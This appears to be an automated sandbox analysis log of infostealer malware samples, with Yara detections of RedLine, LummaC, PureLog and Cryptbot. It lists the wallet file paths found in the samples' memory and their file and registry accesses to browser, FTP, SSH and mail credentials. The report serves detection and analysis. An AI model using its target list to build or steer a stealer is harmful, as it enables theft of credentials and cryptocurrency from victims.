Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json8"
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: exodus
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fpo
Source: Vwagc2Gf16eP8XIbenmQEOda.exe	String found in binary or memory: HEthereum (UTC)
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.000000000096E000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.secoS
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.walletO
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.secoS
Source: file.exe	String found in binary or memory: set_UseMachineKeyStore
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.so
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2859433930.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 0000001C.00000002.2726337776.0000000003167000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2414785317.0000000002C96000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2062981963.0000000000F22000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2168324378.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2169176803.0000000003885000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
